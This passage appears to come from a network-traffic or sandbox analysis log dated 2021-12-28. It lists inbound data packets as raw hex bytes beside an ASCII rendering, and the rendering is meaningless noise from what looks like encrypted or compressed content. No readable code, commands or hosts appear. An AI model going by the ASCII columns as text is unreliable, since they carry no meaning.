b2 e3 11 47 5f b5 19 9b dd ab 98 7a be a5 75 f8 35 8c Data Ascii: fQvmj~xkug~U&~n?OIT8vN\Y1rWsQRw=q\DEXb{?R.S/J{Duu$K!pE++~F^uMm) <>/>wS`u#:u\A9DHx1UaHG_zu5
2021-12-28 04:19:41 UTC	1086	IN	Data Raw: f3 32 16 b8 0e 3a 40 70 79 43 da 71 86 37 04 ac 8c cf 28 30 fd e4 52 fb b9 f5 7f 38 57 97 6e a3 67 ac 76 39 ed 9c 47 5e 7c f4 ac 2b c6 15 b6 90 91 e0 d4 6c 48 9c d2 d9 b4 5e c7 3f 87 c5 4f f3 bf dc b4 85 21 5f e6 dc 38 bc 4e e0 a8 94 e0 57 c4 91 1a 11 a1 ce 9e b3 30 34 c4 a8 0a 75 3a f5 fb a2 88 1b 78 73 35 38 85 b5 a8 06 c6 93 3a 71 b9 99 f3 e2 4c a6 ed 7f 56 2c 60 f2 aa 7f c7 82 be 11 af 89 28 be 0b 8e 61 ae 2a a0 9d 64 bc a4 a5 e7 61 be ee 42 b9 06 76 af 0c 2b 18 31 d5 c9 51 6e eb 75 c7 18 06 d3 ea 2c c4 48 8e cc a5 09 62 9a 65 92 92 b5 c3 e3 04 dd bb f6 e4 48 83 4d 9f 34 01 99 54 4f 87 ce 68 66 ee 2d dd 08 78 0a 6c 07 06 60 a7 08 8f 8a 94 86 e6 8d 89 f9 35 e3 38 12 b8 c0 2d 24 b5 1b 43 48 a2 10 b5 c3 fb 67 e7 b6 4f 41 fd 35 62 40 23 83 80 3a 11 2a 22 Data Ascii: 2:@pyCq7(0R8Wngv9G^\|+lH^?O!_8NW04u:xs58:qLV,`(adaBv+1Qnu,HbeHM4TOhf-xl`58-$CHgOA5b@#:"
2021-12-28 04:19:41 UTC	1087	IN	Data Raw: 75 e3 0c 5a 9f 70 34 21 eb 74 4e 8d 01 3b 9a d0 e6 c6 7d d8 80 00 5c 38 7b cc a7 00 d9 b7 20 6d 3d 26 31 fa 75 dd 55 29 ed 51 26 8f ff 86 cd e1 5f 5a 46 41 26 e6 0c 37 e4 02 16 3d fe 01 11 9c e8 95 fa c7 54 26 5d 4f b1 da 40 aa 3e c5 89 a9 13 ff 9f c0 02 bb 4c 4f ec 06 4d 04 39 64 56 4a 3d 34 9f 21 4d f6 96 e8 57 9e 03 0c f6 d8 81 ce 9e af bb c6 f2 0a 94 d5 53 e0 56 8f cf 5a 7a 49 a6 83 d2 7b e3 ac 23 5e 86 c5 4e ce cf c1 c5 06 71 09 9d 46 8c 57 c8 0e 15 45 db a7 18 61 d5 fb cb 87 17 34 1f 31 2e 43 52 ec 4c b6 46 92 9d 2d 9a 92 e6 75 3f 9f e4 94 de 1a f1 c3 ed 20 e3 b8 59 4b a5 90 4b 9f 6e ed 45 b2 54 80 5d 50 20 33 f6 09 4c 95 e8 20 eb bd df b7 d7 09 23 0c 69 1f 29 4f c9 9c 45 72 78 b8 b3 67 27 06 7d 9e 22 c5 ad a3 1b 57 e3 67 77 a0 0b e7 11 9e 6c e6 db Data Ascii: uZp4!tN;}\8{ m=&1uU)Q&_ZFA&7=T&]O@>LOM9dVJ=4!MWSVZzI{#^NqFWEa41.CRLF-u? YKKnET]P 3L #i)OErxg'}"Wgwl
2021-12-28 04:19:41 UTC	1088	IN	Data Raw: 00 35 6c d5 df 94 9e 6e 9a 1c 2e 96 f8 9d bc d9 14 f5 62 84 c7 14 88 ce 45 fd ca 77 fe 5e 5c 6e f2 7b 34 2e 08 22 34 09 fc a5 63 52 f2 d9 7f ff b2 cc 0e ee 4b 8e ab aa 51 5e a4 b7 e8 23 d9 9c ae 5b ca f1 a6 3d e2 a0 42 c4 d4 dd 13 a4 33 06 57 b4 59 df e7 ff c2 4a 0b c0 6c 70 5d 8f 17 bf fe e7 b1 2a 56 34 50 f6 9a 59 15 2f b8 aa 2d 2b 8e 17 0d 41 40 de 76 dc 75 55 a8 34 41 12 b7 d1 0d be d0 51 43 c4 8e 5d dd 0f 16 04 b8 52 8c d3 16 75 73 d0 4d bf 0c ff 9d 4b 81 31 53 b1 a8 0f 9b 48 ae 60 57 6c 48 3d 6f b8 4b cb 82 72 5a fd 38 bd 8c e8 01 22 cb 44 73 81 cb d4 18 b9 da c6 be 70 05 eb d8 77 68 ab 55 15 13 3f 79 70 fc 4d 73 b0 4d 11 80 6d 93 c7 29 af 0c 3d a3 db d7 f9 31 67 f1 71 7e 90 27 6c f3 f2 0b c6 88 91 f1 50 bc 48 fc 04 8a 38 01 92 5b 90 f2 00 f9 a0 00 Data Ascii: 5ln.bEw^\n{4."4cRKQ^#[=B3WYJlp]*V4PY/-+A@vuU4AQC]RusMK1SH`WlH=oKrZ8"DspwhU?ypMsMm)=1gq~'lPH8[
2021-12-28 04:19:41 UTC	1090	IN	Data Raw: df 65 eb 4a c8 a5 74 2f c5 7b b1 16 0c ab 1c e5 2b 50 36 0a 4f a8 32 39 e3 f5 8e bf 80 45 fe 4b b5 1e 6e 8a 6e 66 97 3c 5f 02 c2 10 79 3c 64 1c c8 30 15 29 d9 b3 73 95 43 02 de e7 91 92 a9 2e a9 d0 6e 20 70 c1 b1 44 a4 a2 1f e9 48 f1 8c d4 19 cb 31 dd cc 7c 11 ae f4 1c f7 5b 5a 23 80 9c 79 ee bd 92 00 89 72 c9 cc e8 eb ae 38 23 0b bb 30 f4 49 04 d8 2b 92 c9 a9 23 c4 ef 8b be 50 a3 ae a8 81 34 94 b6 82 ef 3e e6 6a b6 46 66 30 e4 cb 45 b5 28 cc 50 47 ed 8b 54 20 a5 54 86 1e 39 a9 e4 a2 3e d1 d3 7b c5 45 46 7c 4f 25 a2 66 65 bb aa fd ce bb de 08 e6 ad 01 d6 74 03 75 ed 8a be 6d 4d 16 e1 5c 17 f4 15 a6 09 7c 14 5a 44 e9 12 13 fe 6d 7c 80 5e 60 2e cd af 2f 81 58 c3 4c 46 8c 75 01 e7 3f 5f 33 a0 0d 55 9e 1f 6e f8 2e d5 2c 62 f6 63 21 18 f9 b3 ac a6 a9 c7 00 35 Data Ascii: eJt/{+P6O29EKnnf<_y<d0)sC.n pDH1\|[Z#yr8#0I+#P4>jFf0E(PGT T9>{EF\|O%fetumM\\|ZDm\|^`./XLFu?_3Un.,bc!5
2021-12-28 04:19:41 UTC	1091	IN	Data Raw: a5 1e 5f 48 18 a1 b3 01 9b d5 46 a9 78 fb c7 6c b8 33 38 33 5d 13 91 19 5f 70 ac 22 d0 5a eb 28 87 58 6a 5c 69 f4 37 da 58 9e c4 c9 b3 12 dc 4b 62 e6 ac 56 b8 60 57 f4 94 f3 f1 98 9f 5d 90 9b 2a 46 6d 1a 6e 1a b1 76 2c 74 16 5c be 0b 7a 64 4a 9b 39 04 ca 90 df 64 47 b8 8f 07 a7 87 19 e3 2f 3c 0f ef 85 dd aa ac b0 ee 43 83 99 8e 11 09 d7 6b b3 b6 51 c2 6e e3 75 6a 35 9e 15 56 f0 dd be 28 dd df ec 21 d9 84 0d ec f6 cf 25 fc de 30 fb 5a 07 9a 30 11 4c 34 52 4c 9b b9 2e 54 b3 9d 3a 06 78 a5 97 3f 5f 53 8d 3c 84 e9 01 51 a2 4d a6 28 ea c2 65 08 44 0e 8c 1c 29 d7 11 6b 73 80 de bb e8 f0 59 d1 fc b7 5f 89 77 60 47 5b 80 41 1e 2c bc 64 6b b0 08 97 20 2b e8 8e 60 1b f0 41 ed 1d 5c 00 dc ee 4c 8f f2 d7 80 30 dc bb 91 f7 ac 57 e6 2f f2 f2 4b 2a a6 33 96 c6 f0 7c 12 Data Ascii: _HFxl383]_p"Z(Xj\i7XKbV`W]Fmnv,t\zdJ9dG/<CkQnuj5V(!%0Z0L4RL.T:x?_S<QM(eD)ksY_w`G[A,dk +`A\L0W/K3\|
2021-12-28 04:19:41 UTC	1092	IN	Data Raw: 69 7c b8 2e c4 71 bc 15 22 dd 20 32 b4 84 6a 1d fa b2 7d 18 fd 31 0c 05 7a 05 b1 ab 6a 22 cd 87 91 61 f0 03 20 66 ca 09 96 9e c9 73 83 10 8e 98 3f db 30 e4 56 2e 3e 53 40 19 b2 e3 de 71 01 2e ec 0e 8e 94 26 f4 f9 65 02 6e 14 97 03 72 0d df 7e 74 35 5e ab 7d e6 62 99 64 42 a8 dd 7d 2e ac 5e f0 47 57 a2 03 1b c2 56 c7 42 dd 00 57 da 46 46 a4 ae ec 91 69 7d 44 f9 b3 4f 76 72 ee c1 7f be 56 de f9 40 22 1d d9 e8 6e 44 4a be 3b cf cf 2c 38 58 ce 6e 52 4a e5 95 56 e0 f8 0d af 3b 93 cc 07 d2 58 d9 4e 27 ea a4 81 af f4 ff c6 76 0f d7 bf 16 18 5c b1 88 02 91 39 1f 58 b2 dd 2f f0 36 c9 9d b3 44 c4 8c 57 cd 4a a5 d6 aa de 56 07 41 10 23 b4 c1 bf 01 82 34 13 37 b8 0e bb c6 82 44 14 99 ce 3e 02 9a 54 6e 1c 87 44 56 e9 14 3f 14 e3 55 f8 20 11 f9 4e d1 9a cf 24 48 04 13 Data Ascii: i\|.q" 2j}1zj"a fs?0V.>S@q.&enr~t5^}bdB}.^GWVBWFFi}DOvrV@"nDJ;,8XnRJV;XN'v\9X/6DWJVA#47D>TnDV?U N$H
2021-12-28 04:19:41 UTC	1094	IN	Data Raw: 9a ed fb 9e 00 25 eb df fa 2e e9 bd 76 96 b8 2b 64 cf b6 32 00 ff 1d 7f a6 cc a1 51 a3 21 12 d1 77 1a 02 50 a8 8b e0 c7 0b fd f1 a6 e8 8f a4 fa 0a 95 cd b1 cf ef 45 ef fd d9 19 14 1c f9 58 55 c5 04 08 05 77 89 a7 37 69 00 9e aa 1e 0f d1 2c d4 2c ef 03 9f 1c ad 1d 31 4c ab af bf f8 17 74 c9 ec 3f ad 3d 35 97 06 b6 69 38 63 4b 0c a3 fa 7b 4a 6b 39 b6 bf b4 db f2 dd 93 71 06 c8 56 83 71 c6 f8 cf 8d fb 2b db af c2 d5 50 af ec 29 be f9 fa 3b a7 7c b5 4b 33 c5 c0 cb 94 8c 7b 87 06 2b cb 2c db f3 8b c6 2e 74 25 75 b5 4c 4f 70 99 41 5a 01 31 f6 ae 50 6c 18 7f 87 e3 2f 7e 0c be 63 74 3e 97 c2 1c 3c 42 e7 88 0e 7b 0f cd cc b8 ff 60 85 30 a5 0b 33 e7 54 9c 6b 27 c8 65 37 c8 cb 24 db bf 50 7e 21 02 9e b2 00 4d 36 5a d7 44 d5 91 3c a2 94 ae ad 15 fd bb eb 21 4f cd c7 Data Ascii: %.v+d2Q!wPEXUw7i,,1Lt?=5i8cK{Jk9qVq+P);\|K3{+,.t%uLOpAZ1Pl/~ct><B{`03Tk'e7$P~!M6ZD<!O
2021-12-28 04:19:41 UTC	1095	IN	Data Raw: a7 f8 ee e9 84 a7 5d 21 3a c0 d1 14 fa c4 8d a2 f5 ad da 7c 73 75 29 e0 3c 99 20 3a 28 a7 9c c0 02 49 23 fa 3b 03 5f c1 00 6e 07 a4 ff fa 6b 68 5d c7 9c 0f 2a 03 79 57 1f d1 ff 09 c2 5e 19 30 8c 2e 0f a3 fc 4a c4 65 bd 36 9f a5 14 fe cb a1 1a 72 4e 64 68 0b 74 33 ed b2 d0 0b 2e 02 90 da c4 67 e9 2c ee 4b eb 24 e4 26 95 ec b2 f4 14 e7 15 43 32 43 9e 00 be c7 42 ce b6 56 0b ed 94 3f 5d 24 8f 21 4b 9b 18 83 d1 0a 3f 80 fa fc 26 b8 67 c1 2e 2b 15 56 f8 89 5d 8e 24 82 98 bd cf 7c db 8d 0a f3 2e 30 27 38 1e fc fb e8 d4 a3 83 64 19 62 b1 26 c7 f9 f4 17 b6 fc e6 0e 40 53 bc f4 f4 f6 cf 09 9d e0 d4 f8 0c 3e cb bc f6 65 66 b2 63 a0 42 8c 66 92 45 ea 1f 71 36 c8 48 33 af 72 36 00 bd 0a 7d 1b 4d 2f 5a 93 f5 5c 7c 11 53 04 49 fe c9 8f 15 2c a8 0c ac 9e 37 72 10 f8 75 Data Ascii: ]!:\|su)< :(I#;_nkh]*yW^0.Je6rNdht3.g,K$&C2CBV?]$!K?&g.+V]$\|.0'8db&@S>efcBfEq6H3r6}M/Z\\|SI,7ru
2021-12-28 04:19:41 UTC	1096	IN	Data Raw: d5 15 84 55 bf d6 4e 46 89 22 aa 98 b8 bd c0 3a 0f da ed b9 09 a3 c7 19 b1 f6 eb a8 02 1c 6d e3 97 7b a3 a7 22 9d 11 06 86 02 45 f4 a1 e6 a0 90 df 46 3a a4 c2 fd 72 0a 95 78 9f e3 06 ea bd 2d d9 c9 53 bd 20 47 90 30 2d ba 76 12 54 1d a3 ae d5 85 3e 11 e7 44 c8 88 b8 3e 1f bd a1 26 91 f0 e4 d8 bc 16 c9 31 20 4a ef 8d d6 d2 b6 6f 8e 36 02 69 28 61 88 11 3c 3d 9a 28 2a 10 9e 17 a8 df 81 90 e2 4b 1d d3 11 33 d4 82 60 3c 30 16 bf 2a d8 73 4e 77 fd 32 e3 7f 46 a5 c1 b8 b5 51 81 67 87 77 1c 23 c8 76 04 19 19 21 b2 10 8c 2d ec f1 4a 9c ff c4 99 d8 9f c7 8b 01 a2 95 36 1f bf 7b 8a dc 50 df fa f1 30 e7 c5 72 d4 7a 8c dd 5d 82 4d 90 bc 70 3e e7 6c 3b b5 a3 44 71 b4 f5 3a 81 30 bb 74 22 9c 9c e9 0e 7f bd 9d 43 ad 37 c2 08 2b 21 61 63 b2 be e6 f5 83 7a e9 e3 6b b0 0e Data Ascii: UNF":m{"EF:rx-S G0-vT>D>&1 Jo6i(a<=(K3`<0sNw2FQgw#v!-J6{P0rz]Mp>l;Dq:0t"C7+!aczk
2021-12-28 04:19:41 UTC	1098	IN	Data Raw: 77 da b4 a0 27 d7 71 9d d2 f4 b1 43 78 5d 90 1f f0 22 f0 92 fa 90 9d ce 21 70 99 7a 79 21 02 c9 47 9b 18 b2 01 b1 58 7b fb 1d 9b 49 27 79 02 5b 4e 7c 8f ea e6 10 f3 d4 3e bc 73 00 8d 02 0d be f0 0e 9b 43 f0 b3 b5 2a e6 ea e0 ff d1 12 a1 80 57 55 b9 95 03 29 6f cf 8e 2a 4d f3 0d 32 70 1b 17 34 a5 25 c9 c3 8b 71 43 65 16 f5 e3 a8 0d 8b a6 af 87 68 24 f7 a3 f7 d3 32 37 e4 56 db 8f 7a 94 ef 39 9e dc 44 2b c6 5d e5 a1 3e be 77 61 b8 9a d3 c8 60 73 8a 86 aa 1f f0 cf 49 8b 40 fa 9c 99 35 71 f2 eb 71 22 18 df 6c 3b 53 c7 78 89 60 86 0f 3e a4 7e 78 cc 4b a9 e0 23 38 92 35 de 1e 92 72 25 5c 34 6b fc 9e 35 6a f9 3e 87 5c ee c0 96 06 5e bb e0 04 fa 97 b0 b6 e8 e6 a3 0d 74 2b 08 6e 66 a2 fc d5 5f 9e 90 fd 47 28 18 be 20 ce ee d3 ef 66 04 66 d3 6b 99 cf 5b 98 4e 67 1a Data Ascii: w'qCx]"!pzy!GX{I'y[N\|>sCWU)oM2p4%qCeh$27Vz9D+]>wa`sI@5qq"l;Sx`>~xK#85r%\4k5j>\^t+nf_G( ffk[Ng
2021-12-28 04:19:41 UTC	1099	IN	Data Raw: f3 07 b7 a4 93 46 ea 8c e7 14 83 07 3a 35 ec 9d 3e ad ff 14 98 8a 77 5a 1d e2 c4 86 e0 3e ff 65 26 15 69 2f 59 62 28 81 9c 52 52 8a 4a 07 36 a3 35 f2 e1 6f 83 0c 92 7a cc ce 3e 7b d0 27 39 21 39 7d e7 da 47 33 d7 72 2b 78 e5 a1 89 c5 fa 35 0e bd 01 bf 6c 88 c7 8f 48 31 0d c7 67 b4 89 12 37 5d d0 04 d0 8c 3c 65 d4 00 4d 82 fd 2b aa d1 79 21 0e 7b ca b1 32 93 a3 a9 2c cb 84 e6 e9 2c ff 9f 13 0a ae 46 e9 8d 12 56 8e a5 ec 62 09 db 60 92 21 af d5 c4 ba 8b a4 73 64 40 4d 9e 03 2e 55 fb ce 13 55 4f c4 0e 69 a0 4b db f3 6a 6f b1 48 40 6c 4c 9a 05 57 3a 8e dc 3f c0 25 53 61 fa 1d 4e c0 e6 1a 0d 05 c0 d3 7a f3 51 ab aa c7 8d ae ba df 59 7f b3 4c e2 45 d1 e9 dc 0c e9 5b e6 08 2d 08 c9 89 62 53 83 18 17 87 2b 65 2e 50 72 37 3b 66 7d 9a 19 37 b5 ef 26 5a f0 09 81 6b Data Ascii: F:5>wZ>e&i/Yb(RRJ65oz>{'9!9}G3r+x5lH1g7]<eM+y!{2,,FVb`!sd@M.UUOiKjoH@lLW:?%SaNzQYLE[-bS+e.Pr7;f}7&Zk
2021-12-28 04:19:41 UTC	1100	IN	Data Raw: 6b 88 40 52 73 d5 de 8e eb c3 6f 16 67 c8 92 c2 27 57 61 84 02 80 40 24 01 51 0d 3d c1 be ca 9c 62 9f 43 c3 59 e6 42 b5 82 39 a8 41 3f c0 60 d9 65 69 1a 3d 38 df 20 5f 18 a2 6b 62 52 a4 c1 91 30 9f 4d 22 ed 83 f8 9b bd 9c 40 65 a2 20 1d b8 f3 af eb 5e dd 79 6f 56 3f eb 91 f8 5e e8 f9 0c 65 32 0d e9 6c b3 68 cc 1a 34 40 c1 9e dd e8 93 a0 f8 f6 cf 39 b6 b3 da 8a 39 d7 f7 1d 72 23 03 d4 1b 2e 6b ea 3b d5 84 12 14 27 f7 62 3b 15 bc 2b c0 bf a1 6d 3c 21 13 b0 22 78 a5 64 20 e8 15 e5 ca fc 11 ef 16 c8 e6 b2 60 28 2a 71 6d 48 a9 8e 7b bd 08 76 57 30 0e 6c 3a ec f4 26 d8 5f 0b b7 cf 39 04 78 34 d3 d3 74 95 4b f4 6a d3 51 be 12 e7 ff b3 30 11 e8 a5 b4 c0 97 b3 8b 21 78 35 99 3f 6c e5 b5 44 5b 29 17 ea 3a 88 a6 7e 48 9b c1 9b fe ae 08 eb 43 a3 a3 43 f6 e7 1d a1 e1 Data Ascii: k@Rsog'Wa@$Q=bCYB9A?`ei=8 _kbR0M"@e ^yoV?^e2lh4@99r#.k;'b;+m<!"xd `(*qmH{vW0l:&_9x4tKjQ0!x5?lD[):~HCC
2021-12-28 04:19:41 UTC	1102	IN	Data Raw: 58 ec d0 94 2b ae 3f 32 92 57 39 bc b1 51 c4 d1 77 2d 53 fc 48 a8 17 36 02 9a 5b 59 df c4 a6 74 e7 96 43 6a 4d 08 c1 29 0e f1 13 01 7f 6c f2 52 f0 1e 53 e7 dd 89 29 18 5d d5 ac 7a 6b 63 97 d5 46 77 c3 07 b5 19 c3 f5 5e 81 be 90 1b 9c 16 31 f6 48 fe 87 b6 ae 0a 3a 0f 31 d8 b4 86 31 c3 4d bf 84 27 2b ab a5 57 e1 41 de 18 6b 0d 53 a8 33 4c fc bf 9a 2f 4c 44 17 47 5c 87 8e 69 32 9c 41 63 a3 3c ba d5 4f 2a 61 69 26 3e 9e f6 21 16 c6 7c 7d 78 86 0c bc a8 ec b6 5f 5a f1 98 63 63 9c 2d ad 61 d6 d2 2c a8 5b 6f 51 9d 16 4c ce 01 d3 5d c4 d6 f4 fc 2e 2e 53 7d b2 6d 45 62 0b af b1 10 66 37 53 c0 c9 c9 85 a5 83 b5 39 bd 08 cd d9 f1 81 ef eb ab 2b c9 a3 60 d9 ef a3 37 c4 f6 1d c3 d4 c5 ad af 6e d7 84 2e 75 a6 a4 76 e8 21 ff da e4 5f 90 57 c8 46 61 1e 17 7e 1f a2 81 c7 Data Ascii: X+?2W9Qw-SH6[YtCjM)lRS)]zkcFw^1H:11M'+WAkS3L/LDG\i2Ac<O*ai&>!\|}x_Zcc-a,[oQL]..S}mEbf7S9+`7n.uv!_WFa~
2021-12-28 04:19:41 UTC	1103	IN	Data Raw: 81 cb eb ce 30 78 01 54 c3 d4 0d ff 63 95 18 22 75 10 c4 7a a8 87 ca d9 35 50 96 8d 1b 72 98 92 e9 ff 70 f4 a7 76 74 3d ac 63 51 d1 c5 cf c2 4d a9 f0 85 2d 0e 65 df 4a 26 6a 38 3e b8 74 c7 01 45 04 e2 e8 7d 5f 21 dc dc c7 4a 88 76 c7 1f 4f ba 88 d1 e9 3d 55 eb 79 9e 75 7b 43 d0 6c 58 57 5a 47 35 d5 3c 0d ca e7 81 4f 8c 56 87 ad 14 8f d5 f5 8c b9 9b 2c 77 c1 e1 49 28 0a 54 e5 dc a6 cb cd b4 f1 0c ec de 6e 30 d7 f3 a0 6a 0c 11 c6 b7 9a 3a 5d 7c e2 ba 01 2e 4d 1a 4c 35 84 2c 1e 1e fa 6e 3c 0c 34 3c 0a e4 85 47 99 82 84 df 45 9d 0f dc 4b fa 34 e8 7a 05 8b 5c 2c 3e f5 51 f8 a1 50 71 19 df 7c e0 28 06 33 d2 61 e8 19 41 ed b7 e2 50 cc c8 25 f2 8a f8 17 ca fc fc d9 6f ca 4c a1 bc 49 d6 6c a2 cc 7b 2e 69 ff 15 0a 89 d3 ff e2 a1 63 c7 a7 53 41 ed 6c 67 1a 13 f8 06 Data Ascii: 0xTc"uz5Prpvt=cQM-eJ&j8>tE}_!JvO=Uyu{ClXWZG5<OV,wI(Tn0j:]\|.ML5,n<4<GEK4z\,>QPq\|(3aAP%oLIl{.icSAlg
2021-12-28 04:19:41 UTC	1104	IN	Data Raw: e5 5e 74 d7 7e fb fc 8c ca 5b a4 cc 3f 88 20 92 c2 d4 f4 0d e3 1f 04 84 7f 2d 90 86 89 1c 2a 13 6d a3 d5 98 9d 3e a8 4d e4 02 a9 13 f6 57 94 48 15 76 40 2b 48 2b 39 bc 7e 15 38 16 6d 7f ee 36 b7 72 38 f6 4e 02 3c bc 82 ed 89 c6 5c bb 01 77 c1 07 85 9e ae df f8 b3 c6 0f 18 2c c6 a6 d3 6f f4 c5 be 92 d7 9c e7 22 a8 68 aa a2 f6 59 7a f0 a9 2a 6c ed 31 52 8f 2e eb d3 5f 78 12 c6 c9 d3 7a 32 b7 a9 dc 37 26 ce 4c 0e a5 ab 82 e7 e7 ea 5d ac 08 d5 ee 2a 89 5c 52 61 47 b4 f0 30 33 e4 f3 1d 3f 6a ef af dd 74 cf c2 26 24 79 e1 b2 b9 09 87 ff fe 40 a7 85 e4 81 88 53 97 a3 06 0c e6 63 58 14 6f 84 7e 91 8a a9 22 9a 23 df ec aa 78 e3 e6 75 37 59 68 fd 53 99 f8 25 fe 93 ff 45 1f b3 71 76 7a d9 bd af 5c 65 26 f6 14 19 fc 7e 1d 44 77 ea 81 90 7f f8 2f 93 f3 eb 1b fa a8 0a Data Ascii: ^t~[? -m>MWHv@+H+9~8m6r8N<\w,o"hYzl1R._xz27&L]*\RaG03?jt&$y@ScXo~"#xu7YhS%Eqvz\e&~Dw/
2021-12-28 04:19:41 UTC	1106	IN	Data Raw: b9 2f 4a 8b 56 ce 9c f0 ec 28 c2 f9 bd 7d cf 19 b0 5a 79 10 22 8f 7e 0f 3b 4b 64 4d 31 8a e1 8a d9 19 88 49 20 77 78 b4 b7 58 64 9f 59 d0 54 54 31 dc 1e d8 96 75 e1 54 fb 59 aa 35 38 c4 02 63 fc 78 79 49 74 a5 6c fe 0b b7 83 16 1d 4c f1 81 ec b3 88 f3 dd 16 ce b9 b7 dd 2b 6d a5 95 67 c9 2d 51 fd bc 0e 6a 76 13 e7 a6 bf 17 2b c8 f9 b1 47 53 6a 7f 47 46 45 a7 8c 63 84 b8 b3 86 19 fc 54 b1 e0 37 50 75 b4 55 6b d0 d3 c1 ea b3 95 ab e8 d1 a8 0d 9d 4e 5e 8b a3 9e 69 39 af 3a 12 0c a1 29 aa af e8 86 a9 4b 69 97 8f f3 05 79 d0 59 ae f3 8a bf dd 03 a4 93 69 d6 e3 e8 af 01 e8 ef db e5 df 05 d2 a3 0a f0 be b0 8d 4d f6 f5 1c e6 f7 97 0a 86 39 31 02 2a 78 47 1d 3e 51 1b 49 d0 0d 09 46 04 5b f7 a0 21 a8 e8 08 b4 3f 96 24 91 09 13 39 6b 5e da fd 0b 3b a1 e6 be 59 3e 3b Data Ascii: /JV(}Zy"~;KdM1I wxXdYTT1uTY58cxyItlL+mg-Qjv+GSjGFEcT7PuUkN^i9:)KiyYiM91*xG>QIF[!?$9k^;Y>;
2021-12-28 04:19:41 UTC	1107	IN	Data Raw: 69 35 8c e6 8b 8c c8 ea 35 0f 47 69 40 eb 34 22 cc 08 38 47 d5 9d b2 73 c3 23 ca 58 5f bc 20 95 6b 0f e8 d7 02 e9 f4 e7 2f 19 83 61 21 4d f3 45 6e 3c dc 84 22 0a b8 4c ef 26 3e bd 9f bb f4 f5 01 93 f7 6d 07 b1 3c 55 49 00 90 67 13 36 19 d5 c5 bf 68 db be 93 cd db b8 45 28 09 96 5f 02 57 55 8d 19 24 e0 62 73 02 33 63 4a 35 f0 87 71 9b bd 77 bb 48 e5 8a 6e 52 fa e1 d9 09 b5 2c fa 2d f6 3a ee 76 9b 51 8d 4a c3 f7 0c fb 7a e4 f4 4e b6 47 a6 5f 81 14 b6 6f d9 5d c6 b2 0e e1 db 9b 5e 92 46 30 ae aa cc bf fa 19 d7 72 ba 53 fc ab 29 52 ac f8 08 b6 6e 7f a3 ae 1f 32 65 9d de e1 a5 ff 1b 4d 5d 63 3c 41 00 dc 63 dc e7 8e 18 77 bf 40 9a 8d 60 5b 72 e3 e1 f6 90 0b 34 51 99 8f b4 22 f8 07 b4 72 8e 54 7a 82 c3 9d 1b f3 be 05 58 f7 98 80 7c d7 e7 fb 27 03 7f 98 78 97 3e Data Ascii: i55Gi@4"8Gs#X_ k/a!MEn<"L&>m<UIg6hE(_WU$bs3cJ5qwHnR,-:vQJzNG_o]^F0rS)Rn2eM]c<Acw@`[r4Q"rTzX\|'x>
2021-12-28 04:19:41 UTC	1111	IN	Data Raw: ec 19 ee fa e7 b7 c4 b6 ac 0d 8a 88 8b f9 57 29 7f 9d b3 40 04 2d 5a 7d 24 87 e3 a8 7f 97 38 c5 7d 92 80 64 8e 65 43 c7 45 71 a8 b6 2e 2b d8 68 1a 85 2c 0a 0a 8b 39 81 39 38 71 d1 94 2a 04 3c 70 7e 88 92 fa 4f 46 ea 2e 76 42 19 7e 41 a5 4d b0 41 fc bf 85 27 6b c5 b5 f1 9f 62 75 0a 43 cb 6c 3f 4b 98 84 a7 b5 ad 3d 56 90 ca bb d8 d3 80 a1 42 20 7e 37 9f 2b 39 04 22 00 80 b0 04 c8 f4 6d f9 96 f9 9e 4d 5b be 5e b1 9e f8 14 a2 9a 62 77 cd c7 97 31 89 91 3c ef ed ba 7b d4 90 58 71 3e 9f 01 3a 3b 0d 01 9b 36 09 bb 70 89 df 40 29 ca 5a 43 95 ac 02 21 4d 53 0f 0f f0 48 db 65 cd f1 87 84 d3 92 25 c7 e0 9a 1e 10 44 57 1d ef 83 36 7b 7e 4c 03 d8 ff eb 4a ee a5 37 68 69 51 c7 52 e3 fe 79 7d e2 2d 36 ec 87 bf 85 28 e0 67 71 e9 b3 bd b3 ca b6 42 22 d7 78 17 5e c1 bc 7e Data Ascii: W)@-Z}$8}deCEq.+h,998q*<p~OF.vB~AMA'kbuCl?K=VB ~7+9"mM[^bw1<{Xq>:;6p@)ZC!MSHe%DW6{~LJ7hiQRy}-6(gqB"x^~
2021-12-28 04:19:41 UTC	1115	IN	Data Raw: 9c 97 d4 70 6d 4d 39 21 30 f6 74 b4 80 33 99 76 59 f6 b8 15 92 a2 97 6b 19 0d d4 80 d2 ac b1 75 b1 8c 3a 7b 09 5b 5c 91 1c 4b de 5a 6e 08 f3 be c7 02 b5 0d d1 89 ff 2c ed b4 cf e4 c0 fc 46 14 bf 9f c2 cb b2 88 d5 d2 8d ad e2 cd 68 2b 98 3c 21 40 78 02 df 5f 78 db cb d6 74 1b 8a 1a 0e 4d 8b 18 08 a5 66 d0 05 89 4f 85 76 c8 cd fe cc c9 d0 98 53 52 2c 1d 5f 0b e1 a0 7d 35 c9 0b c9 b0 c0 16 55 ff 74 a7 2b d7 21 8f 35 0d 29 85 21 bd 05 80 7c a2 88 1d 78 eb ba 77 39 2c 93 ab f2 15 dd d6 62 1d 22 c6 7c 3e 24 01 45 cf 47 d4 a7 33 92 79 ca 48 47 46 a5 ed 4b d5 b6 02 06 fd 2a 6b 14 1c ca 75 9f 9a d7 20 0a 75 52 79 e3 f0 34 b9 b9 89 63 f1 70 a7 e7 7e 16 f4 6b ee b7 03 98 1f 21 55 a8 22 93 2b 01 2d fe e1 af a8 bf 67 d7 01 de e7 68 f8 5b 90 e3 6a 89 f8 2d 0e 6a 3a 88 Data Ascii: pmM9!0t3vYku:{[\KZn,Fh+<!@x_xtMfOvSR,_}5Ut+!5)!\|xw9,b"\|>$EG3yHGFK*ku uRy4cp~k!U"+-gh[j-j:
2021-12-28 04:19:41 UTC	1116	IN	Data Raw: 19 4e 72 35 03 15 59 92 a8 a7 29 ce f9 fd 1b b0 2b c7 81 e6 20 e0 3d 1e d3 bd 61 b5 51 26 1c fe 07 35 6d 61 39 b4 d2 80 f6 f4 85 63 22 64 fe 38 33 57 18 7b ff e4 26 0f fe 61 b3 09 25 f4 f9 de aa 19 ef af ca 32 b5 59 2b 5c ac 7f 8e ad bc 0f 0d 6b f0 8f 93 57 f7 03 42 cc ac 6a b5 58 6c 22 23 fc f2 1a 67 ab 6c 61 1a d9 a8 7e 9f b0 36 f2 d7 80 84 9f 1d b0 1e 8b ae 48 02 ea 0d 7a 53 9c 3f 54 29 67 8a c4 9f 37 98 10 0c 10 a5 88 3c 54 ea 11 07 3b 4b ed 7e c1 63 42 bd a3 a6 a7 64 6c 1c b0 b6 94 10 80 02 20 e3 7e 23 b9 2c 26 ca 0a 62 a7 76 54 b6 e5 ff 9a 05 e4 72 25 f0 02 17 11 